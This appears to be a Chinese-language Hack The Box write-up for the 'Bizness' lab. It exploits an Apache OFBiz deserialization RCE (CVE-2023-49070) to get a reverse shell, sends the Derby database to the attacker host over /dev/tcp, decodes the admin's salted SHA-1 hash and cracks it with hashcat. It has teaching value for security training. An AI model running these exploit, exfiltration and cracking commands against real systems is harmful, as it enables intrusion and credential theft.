信息收集

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# nmap -p- $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 20:43 AEST
Nmap scan report for bizness.htb (10.129.232.1)
Host is up (0.040s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
41845/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
1
echo "10.129.232.1 bizness.htb" | sudo tee -a /etc/hosts

目录扫描:

1
2
3
4
5
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# dirsearch -u https://bizness.htb/

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# feroxbuster -k -u https://bizness.htb

根据扫描结果进入https://bizness.htb/content/ 页面

自动跳转到https://bizness.htb/content/control/main 登陆界面

查看右下角发现ERP系统版本:

1
Copyright (c) 2001-2024 The Apache Software Foundation. Powered by Apache OFBiz. Release 18.12

查询到此版本的Apache OFBiz有RCE漏洞CVE-2023-49070

反序列化

下载工具ysoserial

1
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

创建exploit.py (此处会利用到ysoserial-all.jar)

参考:https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC/blob/main/exploit.py

运行报错,提示需要安装java-11-openjdk环境

安装并切换java

1
sudo apt install openjdk-11-jdk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# update-alternatives --config java
There are 3 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 auto mode
1 /usr/lib/jvm/java-11-openjdk-arm64/bin/java 1111 manual mode
2 /usr/lib/jvm/java-17-openjdk-arm64/bin/java 1711 manual mode
3 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-arm64/bin/java to provide /usr/bin/java (java) in manual mode

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# java --version
openjdk 11.0.20-ea 2023-07-18
OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode)

开启tcpdump

1
sudo tcpdump -i 2 icmp

运行POC

1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# python3 exploit.py https://bizness.htb rce "ping -c 5 10.10.14.8"
Not Sure Worked or not

查看抓到的数据包:

1
2
3
4
5
6
7
8
┌──(root@kali)-[/home/h4m5t/Desktop]
└─# tcpdump -i 2 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
21:47:38.693694 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 1, length 64
21:47:38.693728 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 1, length 64
21:47:39.695235 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 2, length 64
21:47:39.695274 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 2, length 64

说明RCE成功,现在进行反向shell

首先开启nc监听,再运行exp

1
nc -nlvp 4444
1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# python3 exploit.py https://bizness.htb shell 10.10.14.8:4444
Not Sure Worked or not

shell

在用户目录下找到flag: /home/ofbiz/user.txt

获取数据库derby中信息

找到安全配置文件/opt/ofbiz/framework/security/config/security.properties

查看用的哈希算法是默认的SHA-1 ,这是个好消息,因为SHA-1不安全,有可能破解。

1
2
3
4
ofbiz@bizness:/opt/ofbiz/framework/security/config$ cat security.properties | grep hash
<ecurity/config$ cat security.properties | grep hash
# -- specify the type of hash to use for one-way encryption, will be passed to java.security.MessageDigest.getInstance() --
password.encrypt.hash.type=SHA

这就引出了下一个问题,即密码和其他信息在 Apache OFBiz 中的存储位置。经查询,默认情况下,OFBiz 使用名为 Apache Derby 的嵌入式 Java 数据库。

经查询,数据库文件存储在/opt/ofbiz/runtime/data/derby

1
2
3
4
5
6
7
8
9
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ ls -la
ls -la
total 24
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 2023 .
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 2023 ..
-rw-r--r-- 1 ofbiz ofbiz-operator 2320 Sep 15 06:12 derby.log
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiz
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbizolap
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiztenant

使用derby-tools的ij命令连接数据库。命令示例:

1
CONNECT 'jdbc:derby:./ofbiz';

从目标机器下载ofbiz文件到本地:

在kali开启监听。

1
2
3
4
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# nc -nlvp 4444 > ofbiz.tar
listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.129.232.1] 40826

在目标机器上:

1
2
3
cd /opt/ofbiz/runtime/data/derby
tar cvf ofbiz.tar ofbiz
cat ofbiz.tar > /dev/tcp/10.10.14.8/4444

为了连接到此数据库,需要先下载工具。

1
apt install derby-tools

连接并查看表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# ij
ij version 10.14
ij> CONNECT 'jdbc:derby:./ofbiz';
ij> SHOW TABLES;
TABLE_SCHEM |TABLE_NAME |REMARKS
------------------------------------------------------------------------
SYS |SYSALIASES |
SYS |SYSCHECKS |
SYS |SYSCOLPERMS |
SYS |SYSCOLUMNS |
SYS |SYSCONGLOMERATES |
SYS |SYSCONSTRAINTS |
SYS |SYSDEPENDS |
SYS |SYSFILES |
SYS |SYSFOREIGNKEYS |
SYS |SYSKEYS |
SYS |SYSPERMS |
SYS |SYSROLES |
SYS |SYSROUTINEPERMS |
SYS |SYSSCHEMAS |
SYS |SYSSEQUENCES |
SYS |SYSSTATEMENTS |
SYS |SYSSTATISTICS |
SYS |SYSTABLEPERMS |
SYS |SYSTABLES |
SYS |SYSTRIGGERS |
SYS |SYSUSERS |
SYS |SYSVIEWS |
SYSIBM |SYSDUMMY1 |
OFBIZ |ACCOMMODATION_CLASS |
OFBIZ |ACCOMMODATION_MAP |
OFBIZ |ACCOMMODATION_MAP_TYPE |
OFBIZ |ACCOMMODATION_SPOT |
OFBIZ |ACCTG_TRANS |

找到关于用户信息的表:

1
2
3
4
5
6
OFBIZ               |USER_LOGIN                    |                    
OFBIZ |USER_LOGIN_HISTORY |
OFBIZ |USER_LOGIN_PASSWORD_HISTORY |
OFBIZ |USER_LOGIN_SECURITY_GROUP |
OFBIZ |USER_LOGIN_SECURITY_QUESTION |
OFBIZ |USER_LOGIN_SESSION |
1
SELECT * FROM OFBIZ.USER_LOGIN;
1
SELECT USER_LOGIN_ID,CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

结果如下:

1
2
3
4
5
6
7
8
9
ij> SELECT USER_LOGIN_ID, CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

USER_LOGIN_ID | CURRENT_PASSWORD
-----------------------------------------------------
system | NULL
anonymous | NULL
admin | $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

3 rows selected

分析源码 反向解码

此处密码存储格式很奇怪,不能用传统的john或者Hashcat直接破解。

机器上存在源码,查看哈希算法源码。

1
/opt/ofbiz/framework/base/src/main/java/org/apache/ofbiz/base/crypto/HashCrypt.java

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
cat HashCrypt.java 
/*******************************************************************************
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*******************************************************************************/
package org.apache.ofbiz.base.crypto;

import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.util.Arrays;

import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.ofbiz.base.util.Debug;
import org.apache.ofbiz.base.util.GeneralRuntimeException;
import org.apache.ofbiz.base.util.StringUtil;
import org.apache.ofbiz.base.util.UtilIO;
import org.apache.ofbiz.base.util.UtilProperties;
import org.apache.ofbiz.base.util.UtilValidate;

/**
* Utility class for doing SHA-1/PBKDF2 One-Way Hash Encryption
*
*/
public class HashCrypt {

public static final String module = HashCrypt.class.getName();
public static final String CRYPT_CHAR_SET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./";

private static final String PBKDF2_SHA1 ="PBKDF2-SHA1";
private static final String PBKDF2_SHA256 ="PBKDF2-SHA256";
private static final String PBKDF2_SHA384 ="PBKDF2-SHA384";
private static final String PBKDF2_SHA512 ="PBKDF2-SHA512";
private static final int PBKDF2_ITERATIONS = UtilProperties.getPropertyAsInteger("security.properties", "password.encrypt.pbkdf2.iterations", 10000);

public static MessageDigest getMessageDigest(String type) {
try {
return MessageDigest.getInstance(type);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Could not load digestor(" + type + ")", e);
}
}

public static boolean comparePassword(String crypted, String defaultCrypt, String password) {
if (crypted.startsWith("{PBKDF2")) {
return doComparePbkdf2(crypted, password);
} else if (crypted.startsWith("{")) {
return doCompareTypePrefix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
} else if (crypted.startsWith("$")) {
return doComparePosix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
} else {
return doCompareBare(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
}
}

private static boolean doCompareTypePrefix(String crypted, String defaultCrypt, byte[] bytes) {
int typeEnd = crypted.indexOf("}");
String hashType = crypted.substring(1, typeEnd);
String hashed = crypted.substring(typeEnd + 1);
MessageDigest messagedigest = getMessageDigest(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
char[] digestChars = Hex.encodeHex(digestBytes);
String checkCrypted = new String(digestChars);
if (hashed.equals(checkCrypted)) {
return true;
}
// This next block should be removed when all {prefix}oldFunnyHex are fixed.
if (hashed.equals(oldFunnyHex(digestBytes))) {
Debug.logWarning("Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({%s}%s)", module, hashType, checkCrypted);
return true;
}
return false;
}

private static boolean doComparePosix(String crypted, String defaultCrypt, byte[] bytes) {
int typeEnd = crypted.indexOf("$", 1);
int saltEnd = crypted.indexOf("$", typeEnd + 1);
String hashType = crypted.substring(1, typeEnd);
String salt = crypted.substring(typeEnd + 1, saltEnd);
String hashed = crypted.substring(saltEnd + 1);
return hashed.equals(getCryptedBytes(hashType, salt, bytes));
}

private static boolean doCompareBare(String crypted, String defaultCrypt, byte[] bytes) {
String hashType = defaultCrypt;
String hashed = crypted;
MessageDigest messagedigest = getMessageDigest(hashType);
messagedigest.update(bytes);
return hashed.equals(oldFunnyHex(messagedigest.digest()));
}

/*
* @deprecated use cryptBytes(hashType, salt, password); eventually, use
* cryptUTF8(hashType, salt, password) after all existing installs are
* salt-based. If the call-site of cryptPassword is just used to create a *new*
* value, then you can switch to cryptUTF8 directly.
*/
@Deprecated
public static String cryptPassword(String hashType, String salt, String password) {
if (hashType.startsWith("PBKDF2")) {
return password != null ? pbkdf2HashCrypt(hashType, salt, password) : null;
}
return password != null ? cryptBytes(hashType, salt, password.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptUTF8(String hashType, String salt, String value) {
if (hashType.startsWith("PBKDF2")) {
return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
}
return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptValue(String hashType, String salt, String value) {
if (hashType.startsWith("PBKDF2")) {
return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
}
return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}

private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}

public static String pbkdf2HashCrypt(String hashType, String salt, String value){
char[] chars = value.toCharArray();
if (UtilValidate.isEmpty(salt)) {
salt = getSalt();
}
try {
PBEKeySpec spec = new PBEKeySpec(chars, salt.getBytes(UtilIO.getUtf8()), PBKDF2_ITERATIONS, 64 * 4);
SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
byte[] hash = Base64.encodeBase64(skf.generateSecret(spec).getEncoded());
String pbkdf2Type = null;
switch (hashType) {
case "PBKDF2WithHmacSHA1":
pbkdf2Type = PBKDF2_SHA1;
break;
case "PBKDF2WithHmacSHA256":
pbkdf2Type = PBKDF2_SHA256;
break;
case "PBKDF2WithHmacSHA384":
pbkdf2Type = PBKDF2_SHA384;
break;
case "PBKDF2WithHmacSHA512":
pbkdf2Type = PBKDF2_SHA512;
break;
default:
pbkdf2Type = PBKDF2_SHA1;
}
StringBuilder sb = new StringBuilder();
sb.append("{").append(pbkdf2Type).append("}");
sb.append(PBKDF2_ITERATIONS).append("$");
sb.append(org.apache.ofbiz.base.util.Base64.base64Encode(salt)).append("$");
sb.append(new String(hash));
return sb.toString();
} catch (InvalidKeySpecException e) {
throw new GeneralRuntimeException("Error while creating SecretKey", e);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
}
}

public static boolean doComparePbkdf2(String crypted, String password){
try {
int typeEnd = crypted.indexOf("}");
String hashType = crypted.substring(1, typeEnd);
String[] parts = crypted.split("\\$");
int iterations = Integer.parseInt(parts[0].substring(typeEnd+1));
byte[] salt = org.apache.ofbiz.base.util.Base64.base64Decode(parts[1]).getBytes(UtilIO.getUtf8());
byte[] hash = Base64.decodeBase64(parts[2].getBytes(UtilIO.getUtf8()));

PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt, iterations, hash.length * 8);
switch (hashType.substring(hashType.indexOf("-")+1)) {
case "SHA256":
hashType = "PBKDF2WithHmacSHA256";
break;
case "SHA384":
hashType = "PBKDF2WithHmacSHA384";
break;
case "SHA512":
hashType = "PBKDF2WithHmacSHA512";
break;
default:
hashType = "PBKDF2WithHmacSHA1";
}
SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
byte[] testHash = skf.generateSecret(spec).getEncoded();
int diff = hash.length ^ testHash.length;

for (int i = 0; i < hash.length && i < testHash.length; i++) {
diff |= hash[i] ^ testHash[i];
}

return diff == 0;
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
} catch (InvalidKeySpecException e) {
throw new GeneralRuntimeException("Error while creating SecretKey", e);
}
}

private static String getSalt() {
try {
SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
byte[] salt = new byte[16];
sr.nextBytes(salt);
return Arrays.toString(salt);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while creating salt", e);
}
}

public static String digestHash(String hashType, String code, String str) {
if (str == null) {
return null;
}
byte[] codeBytes;
try {
if (code == null) {
codeBytes = str.getBytes(UtilIO.getUtf8());
} else {
codeBytes = str.getBytes(code);
}
} catch (UnsupportedEncodingException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
return digestHash(hashType, codeBytes);
}

public static String digestHash(String hashType, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
char[] digestChars = Hex.encodeHex(digestBytes);

StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(digestChars, 0, digestChars.length);
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}

public static String digestHash64(String hashType, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();

StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}

/**
* @deprecated use cryptPassword
*/
@Deprecated
public static String getHashTypeFromPrefix(String hashString) {
if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
return null;
}

return hashString.substring(1, hashString.indexOf('}'));
}

/**
* @deprecated use cryptPassword
*/
@Deprecated
public static String removeHashTypePrefix(String hashString) {
if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
return hashString;
}

return hashString.substring(hashString.indexOf('}') + 1);
}

/**
* @deprecated use digestHashOldFunnyHex(hashType, str)
*/
@Deprecated
public static String getDigestHashOldFunnyHexEncode(String str, String hashType) {
return digestHashOldFunnyHex(hashType, str);
}

public static String digestHashOldFunnyHex(String hashType, String str) {
if (UtilValidate.isEmpty(hashType)) {
hashType = "SHA";
}
if (str == null) {
return null;
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
byte[] strBytes = str.getBytes(UtilIO.getUtf8());

messagedigest.update(strBytes);
return oldFunnyHex(messagedigest.digest());
} catch (Exception e) {
Debug.logError(e, "Error while computing hash of type " + hashType, module);
}
return str;
}

// This next block should be removed when all {prefix}oldFunnyHex are fixed.
private static String oldFunnyHex(byte[] bytes) {
int k = 0;
char[] digestChars = new char[bytes.length * 2];
for (byte b : bytes) {
int i1 = b;

if (i1 < 0) {
i1 = 127 + i1 * -1;
}
StringUtil.encodeInt(i1, k, digestChars);
k += 2;
}
return new String(digestChars);
}
}

根据源码的编码方式,进行反向解码:

1
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

Therefore, we know that the hashType is SHA , the salt is a single letter d , and the rest
(uP0_QaVBpDWFeo8-dRzDqRwXQ2I ) are the hashed bytes.

So, we now know that the characters are Base64-encoded, but without padding, and with + and
/ characters replaced by - and _ , respectively.

解码得到hex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64

# Base64URL-encoded hash
base64url_encoded = "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"

# Step 1: Replace URL-safe characters
base64_encoded = base64url_encoded.replace('-', '+').replace('_', '/')
print("Base64 Encoded:", base64_encoded)

# Step 2: Add padding if necessary
while len(base64_encoded) % 4 != 0:
base64_encoded += '='
print("Base64 Encoded with Padding:", base64_encoded)

# Step 3: Decode the Base64 string
decoded_bytes = base64.b64decode(base64_encoded)
print("Decoded Bytes:", decoded_bytes)

# Step 4: Convert bytes to hex
hex_string = decoded_bytes.hex()
print("Hex Representation:", hex_string)
1
b8fd3f41a541a435857a8f3e751cc3a91c174362

破解密码

注意加盐d,其中参数-m 120:指定哈希类型为 SHA-1 加盐

hash.txt

1
b8fd3f41a541a435857a8f3e751cc3a91c174362:d

运行hashcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# hashcat -m 120 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: cpu--0x000, 1437/2939 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs

b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Time.Started.....: Sun Sep 15 23:24:42 2024 (1 sec)
Time.Estimated...: Sun Sep 15 23:24:43 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4712.6 kH/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1478656/14344385 (10.31%)
Rejected.........: 0/1478656 (0.00%)
Restore.Point....: 1478144/14344385 (10.30%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: monky1994 -> monkey-moo
Hardware.Mon.#1..: Util: 71%

Started: Sun Sep 15 23:24:41 2024
Stopped: Sun Sep 15 23:24:44 2024

爆破成功:b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

获得破解后的密码:monkeybizness

su root

输入此密码获得root.txt

结束!

遇到的问题

下载文件时提示磁盘已满。在VM中扩容20G。进入kali, 打开工具。

先关闭linux-swap,右键swap-off.

将unallocated扩充到linux-swap上,再将linux-swap扩容到/dev/即可。

gparted

运行hashcat,提示* Device #1: Not enough allocatable device memory for this attack.

修改kali-VM的内存为4G,再运行hashcat即可。

对于已经爆破成功的文件:第二次只用show参数即可,不需要重复多次爆破。

1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# hashcat -m 120 --show hash.txt
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness